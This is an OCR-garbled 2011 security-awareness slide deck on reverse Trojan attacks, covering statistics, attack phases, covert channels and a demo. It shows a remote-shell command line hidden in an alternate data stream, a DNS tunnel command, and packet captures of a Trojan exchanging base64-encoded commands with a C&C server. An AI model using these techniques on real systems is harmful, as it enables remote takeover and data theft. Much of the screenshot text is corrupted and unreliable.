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- ABOUT THIS CONFERENCE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

SLIDES IN ENGLISH, AND PRESENTATION IN FRENCH

MODERN TECHNIQUES FOR COMPUTER ATTACKS

EXTERNAL ATTACKS, BUT CLIENT-SIDE FOCUSED

CONTENT & PURPOSE:

CLIENT-SIDE ATTACKS — PRINCIPLES, RISKS &
MOTIVATIONS

TO INFORM AND RAISE AWARENESS ON RISKS AND
TECHNIQUES WHICH STILL REMAIN UNKNOWN

3 CASE STUDIES OF REAL-WORLD INTRUSION
SCENARIOS

1 DEMONSTRATION FOR EACH OF THESE DEADLY
SCENARIOS

2 SCREENS: VICTIM ON THE LEFT & HACKER ON THE
RIGHT

ESTIMATED DURATION: 2 ROUNDS OF 59’59”
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FREDERIC BOURLA

HEAD OF ETHICAL HACKING DEPARTMENT
HIGH-TECH BRIDGE SA

12 YEARS EXPERIENCE IN INFORMATION SECURITY
LPT, CISSP, CHFI, ECSA, CEH, ECPPT

RHCE, RHCT, MCP, CCSE, CCSA

FREDERIC.BOURLA@HTBRIDGE.CH
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WHODO 1S BEHIND DATA BREACHES?
73% RESULTED FROM EXTERNAL SOURCES
39% IMPLICATED BUSINESS PARTNERS
30% INVOLVED MULTIPLE PARTIES

18% WERE CAUSED BY INSIDERS

[ACCORDING TO EC-COUNCIL’S STATISTIC]
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INFORMATION SECURITY SOLUTIONS

‘/ACCDRDING TO THE INTERNET SECURITY
ALLIANCE, 1 BILLION USD IS YEARLY STOLEN
AROUND THE WORLD THROUGH INTELLEGCTUAL
PROPERTY AND COMPANY SECRETS THEFT.

v IN 2009, THERE WERE 6 TROJANS, 3

WORMS AND 1 VIRUS IN THE TOP 10 NEW
MALICIOUS CODE FAMILIES DETEGCTED BY
SYMANTEQC, AND 2 OF THE 3 WORMS
INCLUDED A BACK DOOR COMPONENT.
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THE WHOLE UNDERGROUND ECONOMY 1S
HEALTHY... THERE IS NO FINANCIAL CRISIS
FOR CYBERCRIMINALS. HERE ARE GOODS AND
SERVICES ADVERTISED FOR SALE ON
UNDERGROUND ECONOMY SERVERS.

Overall Rank Percentage
2009 2008 | ltem 2009 2008 | Range of Prices

Credit card information 19% 32% | $0.85-%30

Bank account credentials 19% 19% = $15-%850

Email accounts 7% 5%  $1-%20

Email addresses 7% 5%  $1.70/MB-%15/MB

Shell scripts 6% 3% | $2-%5

Full identities 5% 4% | $0.70-%20

Credit card dumps 5% 2%  $4-%$150

Mailers 4% 3% | $4-%10

Cash-out services 4% 3% | $0-%600 plus 50%-60%
Website administration credentials 4% 3% | $2-%30

[
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PHISHERS DO ATTACK ALL SECTORS...

5% 3% 1%
1%

.. BUT VOLUME OF
PHISHING URL CLEARLY

SHOWS THAT FINANCIAL

INSTITUTIONS & ISP
REMAIN THE MAOST
TARGETED SECTORS.

B Financial B sp

I Government I Online gaming

. Internet community . Retail
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EVERY THREAT TO CONFIDENTIAL
INFORMATION INCREASED IN 20009:

Percentage of exposure threats

B Allows remote access Exports user data
B Exports email addresses  [l] Keystroke logger

B Exports system data

89%
78%

2008 2009
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THERE IS A HUGE PROLIFERATION OF
MALICIOUS CODE. IN 2009, SYMANTEC
CREATED 2'895'802 NEW MALICIOUS CODE
SIGNATURES. THIS IS A 71% INCREASE OVER
2008, WHEN 1'691'323 NEW MALICIOUS
CODE SIGNATURES WERE ADDED.
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OF THE THREAT INSTANCES THAT SYMANTEC
REPUTATION-BASED TECHNIRUES PROTECTED
USERS FROM IN 2009, APPROXIMATELY 57%
CORRESPONDED TO SINGLETONS (FILE
INSTANCES THAT ARE SEEN ON ONLY ONE
COMPUTER).

THIS FINDING IS CONSISTENT WITH MOST
OBSERVATIONS THAT MALICIOUS CODE
AUTHORS ARE CREATING UNIQUE THREATS
USING ADVANCED TECHNIQUES, SUcCH AS

PACKING, OBFUSCATION, AND SERVER-SIDE

POLYMORPHISM.
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EVOLUTION OF MALICIOUS CODE SIGNATURES!:

3,000,000

2,500,000

2,000,000

1,500,000

1,000,000

500,000

2,895,802

1,691,323

708,742

74,981 113,081 167,069

S o | i |

2003 2004 2005 2006 2007 2008

Period
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MOST ATTACKS IN 2009 TARGETED THE END-
USER, QUITE OFTEN THROUGH WEB BROWSER
PLUG-IN VULNERABILITIES:

Adobe Flash Player 7%
Adobe Reader 15%

QuickTime 8%

Mozilla extensions 1%

Java SE 26%

ActiveX 42%
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WHY SHALL YOU ATTACK THE STURDY FRONT DOOR...

-WHEN YOU CAN GO THROUGH THE SMALL WINDOW?

2L "‘W‘""‘r‘m ,‘ L

Ji—

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



1| [T TT——| ([ .
OX03 - INTRODUCTION HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

PRESENTATION OF A STANDARD NETWORK DIAGRAM:

Mail Server Users Proxy Server FTP Server  Reverse Proxy Server
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PRESENTATION OF A STANDARD NETWORK DIAGRAM:

Mail Server Users Proxy Server FTP Server  Reverse Proxy Server
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INFORMATION SECURITY SOLUTIONS

PRESENTATION OF A STANDARD NETWORK DIAGRAM:

Client-Side Attacks

Mail Server Uskrs Proxy Server FTP Server  Reverse Proxy Server
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OXxO03 - INTRODUCTION

v HACKERS OFTEN TRY TO STEAL CONFIDENTIAL
INFORMATION FROM A COMPANY BY COMPROMISING
ITS INFORMATION SYSTEMS.

4 THE ATTACKER IS GENERALLY ON THE INTERNET,
AND DOES NOT NECESSARY HAVE PRIOR
INFORMATION REGARDING ITS TARGET.

COMPANIES MOST OFTEN PERMIT THEIR EMPLOYEES
TO CONNECT TO THE INTERNET, AT LEAST
THROUGH A FEW PROTOCOLS.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



1| [TT—| " .
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

OXxO03 - INTRODUCTION

4 HACKERS USUALLY HAVE A DEEP KNOWLEDGE AS

WELL AS CLEARLY DEFINED OBJECTIVE, AND IN
SOME CASES A SPECIFIC TARGET.

PERIMETER DEFENSES HAVE BECOME MORE AND
MORE EFFICIENT, BUT THE LOCAL AREA NETWORK
AND, WORST O0OF ALL, INTERNAL USERS REMAIN
WEAK... THUS ALLOWING POWERFUL CLIENT-SIDE
ATTACKS IN NOWADAYS THREATS.
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EVER HEARD OF REVERSE TROJAN ATTACKS?
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ACCORDING TO LEGEND, THE TROJAN WAR WAS
PROVOKED BY TROJAN PRINCE PARIS WHO KIDNAPPED
HELEN, THE GREAK WIFE OF THE KING OF SPARTA,
MENELAUS...

... TO AVENGE THIS INSULT, THE GREEKS LAUNCHED
THEIR ARMY, COMMANDED BY AGAMEMNON, AGAINST
THE CITY OF TROY.

AFTER A TEN YEARS SIEGE, TROY WAS TAKEN
THROUGH THE RUSE OF A BIG WOODEN HORSE,
INTRODUCED IN THE CITY AND FROM WHICH CAME THE
WARRIORS WHO OPENED THE GATES OF THE CITY.
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4 A REMOTE HACKER, SOMEWHERE ON THE
INTERNET, WANTS TO TAKE CONTROL OF ONE OF
YOUR EMPLOYEES’ WORKSTATIONS.

WITH SUCH AN ACCESS, THE HACKER wOULD BE IN
THE SAME SITUATION AS THE LEGITIMATE USER
WHO HAS BEEN COMPROMISED.

MAINLY, HE wOuLD BE ABLE TO:

- ACCESS LOCAL FILES AND HARDWARE.

- EXECUTE PROGRAMS LOCALLY, ON BELIEF OF THE
VICTIM, AND POSSIBLY GET MORE PRIVILEGES.

- REACH NETWORK RESOURCES WITHOUT FACING
PERIMETER FIREWALLS.

- SNIFF NETWORK PACKETS.

- BOUNCE FOR OTHER ATTACKS.
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IT IS THEREFORE ADMITTED THAT THE INTRUSION IS
COMPLETE IF THE ATTACKER HAS ACCESS TO AT
LEAST ONE COMPUTER ON THE INTERNAL NETWORK...
TO PROCEED, A REMOTE HACKER HIDES HIS
MALICIOUS CODE INSIDE AN APPARENTLY LEGITIMATE
AND SAFE PROGRAM WHICH, WHEN RUN, WILL
ESTABLISH AN HIDDEN COMMUNICATION CHANNEL
BETWEEN THE TARGET AND A REMOTE SERVER UNDER
CONTROL OF THE ATTACKER.

6 T

File Qerver DB Server WEB $Berver DB Server Mail Server

(_ lLocalNetwork O . bMZ O

” $ g = Client-Side Attacks
: ) J

Mail Server Usprs Proxy Server FTP Server  Reverse Proxy Server
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UNFORTUNATELY, LOTS OF COMMON BELIEFS:

v WE ARE A SMALL COMPANY. HACKERS ARE NOT
INTERESTED BY US.

v | DO NOT FEAR HACKERS. | HAVE A FIREWALL
AS WELL AS AN EFFICIENT AND UP-TO-DATE
ANTIVIRUS SOLUTION.

‘/AT HOME, | DO NOT NEED ANY PARTICULAR
PROTECTION. I NEVER HAD ANY PROBLEM
DESPITE | EVEN DO NOT HAVE A SINGLE
ANTIVIRUS SOFTWARE.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v EVERYBODY IS CONCERNED. THERE ARE
TARGETED  ATTACKS (sucH AS |[INFORMATION
WARFARE AND THEFT OF SENSITIVE INFORMATION)
AND PURELY BLIND ATTACKS (SUucH AS BOTNET
CREATION AND SPAM RELAY).

v A TROJAN HORSE IS NOT A VIRUS. HE DOES
NOT REPLICATE ITSELF NOR DAMAGE THE

HOSTING SYSTEM. IT SHOULD BE AS QUIET AS
POSSIBLE.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

‘/AS LONG AS THERE WILL BE SUCH COMMON

BELIEFS AND LACK OR AWARENESS, END-"USERS

WILL REMAIN THE WEAKEST POINT OF THE
SECURITY CHAIN.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v THEREFORE, CLIENT-SIDE ATTACKS STILL HAVE
A WONDERFUL LIFE EXPECTANCY. ACCORDING TO
BITDEFENDER, THERE 1S FOR EXAMPLE AN

AVERAGE OF 55’000 USERS WHICH ARE VICTIMS
OF PHISHING EVERY MONTH IN THE WORLD. THIS
EVER GROWING THREAT IS MORE AND MORE
FOCUSED ON ONLINE PAYMENT. 49% 0OF GLOBAL
ATTACKS WERE DIRECTED AGAINST THESE
SERVICES DURING THE 2"°P QuARTER 2009, AND
NEW PRIVILEGED TARGETS ARE USER ACCOUNTS
ON SoOocCcIAL NETWORKS.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v BITDEFENDER'S STATISTICS FROM JANUARY TO

JUNE 2009 STATED THAT “TROJAN-TYPE
MALWARE IS ON THE RISE, ACCOUNTING FOR 83-

PERCENT OF THE GLOBAL MALWARE DETECTED IN
THE WILD”.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v  CLIENT-SIDE ATTACKS ARE NOW SUBJECT TO
INTERNATIONAL COORDINATION. THE "MARIPOSA"
OPERATION WHICH ODCCURRED ON MARCH 3R° oF
2010 pPERMITTED FBlI TO DISMANTLE THE
LARGEST BOTNET EVER SEEN. BoOT HERDERS,
WHICH LIVED ON THE BASQRUE COAST AS WELL AS

IN VENEZUELA, CONTROLLED 13 MILLION
ZOMBIES SPREAD IN 190 COUNTRIES, AMONG
WHICH COMPUTERS OF INDIVIDUALS, PRIVATE

COMPANIES AND GOVERNMENT AGENCIES.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v PERSONAL DATA OF OVER 800’000 PEOPLE
HAVE BEEN FOUND ON THE MACHINE FROM ONE
OF THE BOT MASTERS, INCLUDING ELECTRONIC

BANKING INFORMATION AND PERSONAL ACGCCESS
CODES.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v IT WAS EVEN A BIGGER BOTNET THAN THE
HUGE CONFICKER ONE, WHOSE WORM
INFECTION COMPROMISED 10 MILLION
WINDOWS BASED COMPUTERS FOR A CAPACITY
OF SPAM OF APPROXIMATELY 10 BILLION

EMAILS PER DAY.

OLD scHOOL TROJANS HAVE BEEN WIDELY
REPLACED BY REVERSE TROJANS: HACKER DO
NOT INITIATES ANYMORE A CONNECTION
TOWARD THE MALWARE. IT IS INSTEAD THE
TROJAN WHICH WILL CONNECT BACK TO THE
SERVER THROUGH AN AUTHORIZED SOCKET.
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BUT ALL THESE COMMON BELIEFS ARE FALSE:

v THE LEVEL OF SOPHISTICATION OF SUCH
REVERSE TROJAN ATTACKS 1S WIDELY
VARIABLE, DEPENDING ON THE HACKER'
SKILLS.

v THE MOST SOPHISTICATED ATTACKS ARE
EXTREMELY DANGEROUS, AS THEIR SUCCGCESS
RATE IS AROUND 98%.

4 A TROJAN ATTACK USUALLY OCCURS THROUGH
4 DISTINCT PHASES, WHICH ARE DESCRIBED IN
THE FOLLOWING SLIDES.
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DETERMINE HOW USERS ARE AUTHORIZED TO

COMMUNICATE WITH QUTSIDE SYSTEMS. IF ANY

PROTOCOL IS ALLOWED, HACKER CAN THINK ABOUT

USING T TO ESTABLISH A BIDIRECTIONAL

COMMUNICATION CHANNEL.

GET INFORMATION TO WRITE THE MOST EFFICIENT AND
SMALLER PROGRAM WHICH IS ABLE TO COMMUNICATE
WITH AN EXTERNAL SERVER, AND TRY TO IDENTIFY

INTERESTS FOR SEVERAL EMPLOYEES.

STANDARD INFORMATION GATHERING, MAINLY

THROUGH GOOGLING & SOCIAL ENGINEERING.
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CREATE THE REVERSE TROJAN BINARY CODE AND
INTEGRATE THIS PAYLOAD INTO A BENIGN LIKE
SOFTWARE, SUCH AS A POPULAR FILE, A PROGRAM
THAT IS AVAILABLE FOR DOWNLOAD ON INTERNET OR

A CRACK FOR A COMMERCIAL APPLICATION.

GET A RELIABLE, SMALL AND RUIET PROGRAM WHICH

WILL BE ABLE TO ESTABLISH A COMMUNICATION

CHANNEL TO A MALICIOUS SERVER.

THANKS TO DEVELOPMENT SKILLS AS WELL AS
SYSTEMS AND NETWORKS KNOWLEDGE. INFORMATION
GATHERED FROM PREVIOUS PHASE MAY ALS0O GREATLY
IMPROVE TROJAN’S RELIABILITY AND PERMIT TO

CIRCUMVENT LOCAL PROTECTIONS (E.G. CODE

INJECTION IN ANOTHER MEMORY SPACE).
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FIND APPROPRIATE WAYS TO ATTACK, WHICH HERE
CONSIST O0OF DETERMINING HOW TO DELIVER THE

TROJAN FILE TO THE TARGET.

ALLOW THE TROJAN TO BE DELIVERED AND LAUNCHED

ON USER’S WORKSTATION.

A LOT OF ATTACK VECTORS DO EXIST...
APPROXIMATELY AS MANY AS WE CAN FIND ENTRY
POINTS ON A SYSTEM. MOST USED METHODS ARE

SENDING FAKE MAILS, CRAFTING OR COMPROMISING A

WEBSITE, OR USING OLE CAPABILITIES.
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COMMUNICATE WITH THE TROJAN HORSE, USUALLY

THROUGH AN ENCRYPTED COVERT CHANNEL.

TAKE CONTROL OF THE REMOTE HOST, AND

SUBSEQUENTLY TRY TO EXTEND PRIVILEGES BY

COMPROMISING OTHER NETWORK RESOURCES.

INTERACTIONS DEEPLY DEPEND ON HACKER’S CHOICE
REGARDING HIS COMMUNICATION’S SPECIFICATIONS. IT
USUALLY CONSISTS OF SENDING SPECIFIC COMMANDS
TO THE TROJAN VIA IRC OR HTTP, WHICH WILL

EXECUTE THEM LOCALLY BEFORE SENDING BACK THE

RESULT TO THE REMOTE SERVER.
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ALL THAT IS NEEDED BY THE HACKER IS AN ATTACK
VECTOR AND A WAY TO COMMUNICATE WITH HIS
COMMAND-AND-CONTROL SERVER (ALSO KNOWN AS
“eas&bG”).

THERE ARE SEVERAL ATTACK VECTORS. TROJAN
HORSES CAN BE INSTALLED THROUGH THE FOLLOWING
METHODS.

v SOFTWARE DOWNLOADS, THE TROJAN HORSE IS
FOR EXAMPLE INCLUDED AS PART 0OF A SOFTWARE

APPLICATION DOWNLOADED FROM A FILE SHARING
NETWORK.
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v WEBSITES CONTAINING EXECUTABLE CONTENT, THE
TROJAN HORSE IS FOR EXAMPLE IN THE FORM OF AN
ACTIVEX CONTROL.

v EMAIL ATTACHMENTS, WIDELY USED IN SOCIAL
ENGINEERING SCENARIOS.

v APPLICATION EXPLOITS, SUCH AS FLAWS IN A WEB
BROWSER, MEDIA PLAYER, MESSAGING CLIENT OR ANY

OTHER SOFTWARE THAT CAN BE EXPLOITED TO ALLOW
INSTALLATION OF A TROJAN HORSE.
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AND THERE ARE SEVERAL WAYS TO COMMUNICATE
WITH THE EXTERNAL SERVER:

v SOMETIME THROUGH A RANDOM TCP OR UDP
CONNEXION.

v THROUGH AN OUTGOING CONNEXION TO TCP PORT
80 (HTTP).

v THROUGH AN OUTGOING CONNEXION TO TCP PORT
443 (HTTPS).

v THROUGH AN OUTGOING CONNEXION TO TGP PORT
21 (FTP).
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v  THROUGH A REAL HTTPS ENCRYPTED CONNEXION.

v THROUGH A COVER CHANNEL, SUCH AS ICMP,

HTTP, HTTPS OR DNS TuNNEL.

=+ CAWINDOWS)\system3z\cmd.exe - d
z frog.hacked.jp 192.168.1.1

C:\Tools\dns2tcp—win\bin>dns2tcp—win32.exe
2 3E3F7

Listenning on port

31337

cv CHWINDOWS  system32\cmd.exe
C:\Tools\dns2tcp—win\bin>C:\Tools\putty\PUTTY .EXE -D 3389 r»ootPlocalhest

C:\Tools\dns2tcp—winNbin>
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TODAY, REVERSE TROJANS ALSO USE ANY
KIND OF ENCRYPTION (E.G. AES), OR AT
LEAST AN ENCODING ALGORITHM (E.G.
BASEG64), AND TRY TO BE AS FURTIVE AS
POSSIBLE, SOMETIMES BEING ONLY

PRESENT ON VOLATILE MEMORY, WITHOUT
BINARY CODE BEING PHYSICALLY STORED
ON HARD DRIVES... WHICH OF COURSE
MAKE DIGITAL FORENSICS INVESTIGATION
MORE DIFFICULT.
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IN THE OTHER HAND, IN CASE OF

PERMANENT TROJANS WHICH WILL START
AUTOMATICALLY EACH TIME THE
COMPUTER IS TURNED 0ON, THE CODE IS
OFTEN HIDDEN OR OBFUSCATED.

FOR EXAMPLE IN ALTERNATE DATA
STREAMS (ADS), A RELATIVELY UNKNOWN
FEATURE OF NTFS WHICH WAS CREATED
TO PROVIDE COMPATIBILITY WITH THE OLD
MACINTOSH HIERARCHICAL FILE SYSTEM
(HFS).
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BASICALLY, BOTH DATA AND RESOURCE FORKS

ARE USED TO STORE CONTENTS. THE DATA FORK
IS FOR THE CONTENTS OF THE DOGCUMENT, AND
THE RESOURCE FORK IS TO IDENTIFY FILE TYPE
AND OTHER PERTINENT DETAILS.
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ADS REMAIN A NICE PLACE TO HIDE CODE:

P calc.exeimavirus.exe - Notepad

File Edit Format Wiew Help

Wgd filh]oUDl0%ul< 010 ="

GG EYa0Y 0. URASTiD; @8 _AUG;A0E =0 0 88 feytk ARATOODOCE wOODAODE KudcD$ond® &l [[]
WEIPE 00 WHAPE 00 WRIGE 00 WEIPE OO0 WHROPE 00 x

Je suiz un TEEME -0 virus
y _cexit & _dob  Al_onexit wI_setmode 00abort DDatexit anfflush snfprintt

LD RUN:
XE:SYsSvOL -L -P 5555 -D -E cMD.EXE
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SIMILARLY, CLEVER TROJANS WON’T BE
DIRECTLY INSTANTIATED. THEY WILL FOR
EXAMPLE BE INJECTED INTO THE MEMORY
SPACE OF ANOTHER PROCESS THROUGH A
CREATEREMOTETHREAD LIKE FUNCTION,

THUS HIDING THEMSELVES FROM MOST
USERS...

... AS THREADS ARE NOT DISPLAYED IN
WINDOWS TASK MANAGER.
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Mo de lirmage

Marm de I'ukilisateur

kil mém. ..

alg.exe
cmd, exe
CErS5, e

SERNICE LnZAL
Wickime
SYSTEM

3592 Ko
2'545 Ko
3260 Ko

|explorer . exe

Wickime

16644 Klill WINDOWS TASK MANAGER DOES

igxplore, exe
lsass.exe
MPE. . exe

Processus inackif ...

Services, exe
SMS5. Exe
spoolsy, exe
sychosk, exe
swchosk, exe
swchosk, exe
swchosk,exe
swchosk,exe
Syskem
taskrmgr, exe
winlogon, exe
wpabaln,exe
wscntFy, exe
wauclk, exe

Yickime

SYSTEM

Wickime

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SERVICE RESEAL
SYSTEM

SERYICE RESEAL
SERVICE LOCAL
SYSTEM

Wickime

SYSTEM

Wickime

Yickirme

Yickirne

15'320 Ka NOT DISPLAY CURRENT THREADS

1'0534 Ko WITHIN A PROCESS
11'596 Ko
28 ko
4'200 Ko
288 Ko
4364 Ko
7824 Ko
4320 Ko
15'744 Ko
3380 Ko
4'468 Ko
236 Ko
4453 Ko
3016 Ko
3172 Ko
2'656 Ko
5243 Ko
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Mizez & jour automatiques ticrozaft Corporation
YWindows Securnty Center Mo... Microsoft Corporation

1932 Rappel d'activation de *ind... kicrozoft Corporation

2 @ virogon.cxe .
EI:| S S 0 9692 . iexplore.exe:1832 Properties

= ] System 4 Image I Performance I Performance Graph  Threads |TCF',|'IF' | Security | Environment I
[ svchost.exe 836 G erer

[ svchost exe 924 Gener
B ™ svchast exe 1048 Gener TID | = | CSwitch Diela | Start dddress

[ svchost exe 1152 5 eneri 1852 29 iewplare. exe+lx2451

Esvchnst.e:-:e 1312 G eneri 1920 1 WANINET. dllintermets etStatuzCallbacka+0:1 ca

Counk: &

= spooksv. eve 1592 Spocle 1100 kermel32 dll CreateT hread+0x27
B [ smas.exe 72 Gestior 1428 SHLUWAPL IO rdinal205+0x2f

= E SEIVICEE. BRE BE4 BApplice 1 gé: Etd"' d:gg EL?ILE:EUE;MTD}:H te;naﬂzi%bﬁ
o . 9E2 208 Susint ernel32.dll CreateT hread+0x
- ————— ogopgrhech AT 45 |
E T— E7E LG4 Cf 1300 kermel32 dllCreateT hread+0x27

] Interrupts n/a Hardw.
B & ieplore exe 1892 T EXTERNAL TOOLS ARE NEEDED TO IDENTIFY

= g explorer. exe 1504 E xplorz PROCESS' THREADS
T1DPCs n'a Deferre

[ carzs.ene Ra4 Clignt ¢
B8 cmd exe 452 Interpre
[ ala.exe 8R4 & pplic:
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AND OF COURSE, CLEVER TROJANS WILL
TRY TO HIDE THEIR ACTIVITY.

HERE ARE SCREEN CAPTURES RELATED TO

THE IMMINENT PROOF OF CONCEPT
DEMONSTRATION.

199 14, 543418 192.168.129,182 893.24,111.48 TCP
200 54.624571 83.24,111.48 1592,168.120,182 TCP
J01 54.624724 192,168.129,182 93.24,111.48 TCP

A STANDARD 3 WAYS TCP HANDSHAKE IS PERMITTED
THROUGH THE PERIMETER FIREWALL
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Mo, -

Time

Source

Cestination

Protocal

Info

IoT
174
175
179
180
183
184
189
150
194
155
158
155
211
213
214
217

T
45,
49,
51.
51.
33.
33.
55.
35,
a7
57.
59.
95,
6l.
62,
a4,
64,

=30 13

373095
461570
452477
540121
529521
617515
609231
897538
BEG595
Fr45a5
FE4137
852534
G59365
048430
046737
176624

b= = P e
192.168.129.182
53.24.111.48
192.168.129.182
95.24.111.48
152.168.129.182
G3.24.111.48
192.168.129.182
95.24.111.48
152.168.129.182
95.24.111.48
192.168.129.182
53.24.111.48
192.168.129.182
93.24.111.48
192.168.129.182
53.24.111.48

I9-. 168, I29. 18
95.24.111.48
192.168.1259.182
03.24.111.48
192.168.129.182
53.24.111.48
152.168.129.182
03.24.111.48
192.168.129.182
53.24.111.48
192.168.129.182
03.24.111.48
192.168.1259.182
03.24.111.48
192.168.129.182
95.24.111.48
192.168.1259.182

HITHF
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP

HITH L. L U UR
GET bash /getcom.
HTTR/1.1 200 OK
GET sbashsgetcom.
HTTR/ 1.1 200 OK
GET /bash/getcom.
HTTP/1.1 200 0K
GET /bash/sgetcom.
HTTR/ 1.1 200 OK
GET /bash/getcom.
HTTR/ 1.1 200 OK
GET /bash/getcom.
HTTR/1.1 200 OK
GET /bash/getcom.
HTTR/1.1 200 OK
GET bash /getcom.
HTTR/1.1 200 OK

L L ATIL T T
php?id=victime@PC-
(text htmld
php?id=victime@rPC-
(text html)
php?id=victime@rPC-
(text  /html)
php?id=victime@rC-
(text /html)
php?id=victime@rPC-
(text /html)
php?id=victime@rPC-
(text htmld
php?id=victimeg@rPc-
(text html)
php?id=victime@PC-
(text htmld

2] 5 by on wire, 1y prured)
M Ethernet II, Src: Sonjcowal_1l:e3:3c (00:06:h1:11:e3:3cC), Dst: wmware_89:2a:89 (00:0C:29:8%9:2a:89])
M Internet Protocol, Src: 93.24.111.48 (93.24.111.48), Dst: 192.168.129.182 (192.1683.129.182)
E Transmission Control Protocol, Src Port: http (800, Dst Port: syscomlan (1065), Seq: 3439, ack: 28623,

Date: Mon, 02 Moy 2009 13:55:27 GMTSrNWh
Server: Apaches2.2.14 (Debian)rin
H—Powered-By: PHP5.2.11-1%r"%n

vary: accept-encodingsrin
Content-Length: 8%rwn

Content-Type: text htmlsrin

AND A COMMUNICATION CHANNEL IS
ESTABLISHED

H Line-based tText data: text/ html

16 38 00 00 48
20 4f 4b od 0a
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192 168 129 182 93 24 111 48 GET fbashfgetccum

152 768,120 182 e Pyt i e
102,168,129, 182 93.24.111.48 [TCP secment of

K

EfUaErCE numper © 4408 [FETAL Ve saquenca MOmoer ]
[Mext sequence number: 4595 (relative sequence number)]
Acknowledgement number: 5341 frelative ack number)
Header Tength: 20 bytes

F Flags: 0x18 [PSH, ACK)
Window size: 37386
# Checksum: 0x8cad [wvalidation disabled]
FH [SEQ AacCK analysis]
E Hypertext Transfer Protocaol
E HTTR/L.1 200 oKMNFS
H [Expert Info (Chat/Sequence): HTTR 1.1 200 OKYrinl
[Message: HTTR/1.1 200 OKNryn]
[Severity lewvel: Chat]
[Group: sequence]
Feqguest version: HTTR/1.1
Fesponse Code: 200

Date: Maon, 02 Nov 2009 14:16:10 GMTSrY%N
Server: apache/s2.2.14 (Debian)sryn
¥-Powered-By: PHP/5.2.11-1%r"n
Vary: Accept-Encodingirin

Content-Length: 4%ryn REMOTE HACKER CAN NOW RUN COMMANDS

Content-Type: text htmlywryn THROUGH THE C&C SERVER

T ._.u...ﬁ..
ontent-L engt 4

.Conten t- Type
textfhtm 1.
%
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93 24 111. 43

102.168.120.182
102 1688 120 122

[TCP segment of a

Jashy put Com.

http > ansoft-lm-1
HTTODM 1 0n Ak ©

192 153 129 132

93.24.111.48
G 24 111 A%

4
™ Fldds. UXLG TFPoH, ACE)
window size: 17232
# checksum: 0x32df [validation disabled)]
® [seq/ack analysis]
TCP segnent data (1206 bytes)
# [reassembled TCP Segments (1432 bytes): #16%(226), #170(1206)]
= Hypertext Transfer Protocol
= POST Jbash/putcom. php HTTR/L.1NrYn
= [expert Info (Chat/Sequence): POST /bash/putcom.php HTTR/L.1N\r\n]
[Message: POST /bash/putcom.php HTTR/L. 1%r'n]
[severity level: Chat]
[Group: Sequence]
Reguest Method: POST
Reguest URI: Sbash/putcom. php
rRequest version: HTTP/L.1
ACCERT: W\ n
Content-Type: application/x-www-Form-urlencoded\rin

Host: frog.dnsdojo.net\r\n e TRQUAN SENDS THE ENCODED RESPONSE TO
¥ Content-Length: 1206%r\n

Cache-Control: no- cache\r‘\n THE C&OC SERVER THROUGH AN HTTP PosT PACKET

® authorization: Basic ==y
r

00 06 bl 11 e3 3c 00 Oc
04 de 1c 3e 40 00 30 08
6f 30 04 3b 00 50 08 OF

d CA BT A AA AS DM Sd

20 8O g3 EO OB 00 45 00
cb 34 <0 aB 81 be 5d 18
8b b0 df Ze 6d 88 50 18

=A CE &f &% Td & £2A &

e T

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




Ox04 - ANATOMY OF A TROJAN ATTACck HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

2G1yPOST /bash/putcom.php HTTP/1.1

Accept: %/

content-Type: api11cat1on/x-www-form-ur1encoded

Host: frog.dnsdojo.net
Content-Length: 1206
Cache-Control: no-cache
Authorization: Basic|

id=victime@prC-

VICTIMESsS Saas

WUQZXNG

V4 ZQ0K

zMiBi

ICAQI

jIwMDk

BGawx ]

noDIZI

IDXSR

+ICAQIN

zm1jaG] MRS AT CAGICAGMYC XN
XMNCQOKQZpCPg==HTTP/1.1 200 OK

BASE64 ENCODED INFORMATION IS
EXCHANGED WITHIN THE HTTP cCOVERT
CHANNEL

dir
Tevolume dans le lecteur C n'a pasde nom.
Le numero de serie du volume est 3C48-DCSF

Repertoirede C:\

28102003 14:34 434°5392 Actual Spy.exe
28102009 10:48 0 AUTOEXEC . BAT
29102009 11:52 108032 bash.dll

28102009 10:48 0 CONFIG.5Y5

28102009 11:29 <REP= Documents and Settings
28102009 14:34 466 file_id.diz
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ONCE THE TROJAN 1S OPERATIONAL, MANY
CONSEQUENCES CAN OCCUR:

v DD0OS: THE ZOMBIE JOINS A BOTNET
v TAKE PART TO SPAM & MAIL RELAY OPERATIONS

v CLICK FRAUD ABUSE THROUGH PAY PER CLICK
ONLINE ADVERTISING

v\ PARTICIPATE IN SPAMDEXING, A KIND OF WEB SPAM

T0O MANIPULATE THE RELEVANCY RANKING OF
RESOURCES INDEXED BY A SEARCH ENGINE, FOR
EXAMPLE BY REPEATING UNRELATED PHRASES.

v LocAL DOS: MODIFICATION OR DELETION OF LOCAL
FILES

v ALL KEYSTROKES CAN BE LOGGED
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ONCE THE TROJAN 1S OPERATIONAL,
CONSEQUENGCES CAN OCCUR:

v ALL KEYSTROKES CAN BE LOGGED
v REMOTE SCREEN CAPTURES
v CAMCORDER AND MICROPHONE HOOKING

v MONEY THEFT THROUGH ABUSIVE EBANKING
ORDERS

v, SENSITIVE DATA THEFT, SUCH AS PASSWORDS,
CREDIT CARD INFORMATION, CUSTOMER FILES,
PATENTS AND SECRECY FOR INFORMATION WARFARE

4 TAKE PART TO MORE SOPHISTICATED BOUNCE
ATTACKS
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ONCE THE TROJAN 1S OPERATIONAL,
CONSEQUENGCES CAN OCCUR:

v INSTALLATION OF OTHER PIECE OF MALWARE, SUCH
AS ALTERNATE BACKDOORS OR ROOTKITS

IN OTHER WORDS, THE WHOLE CIA TRIAD IS
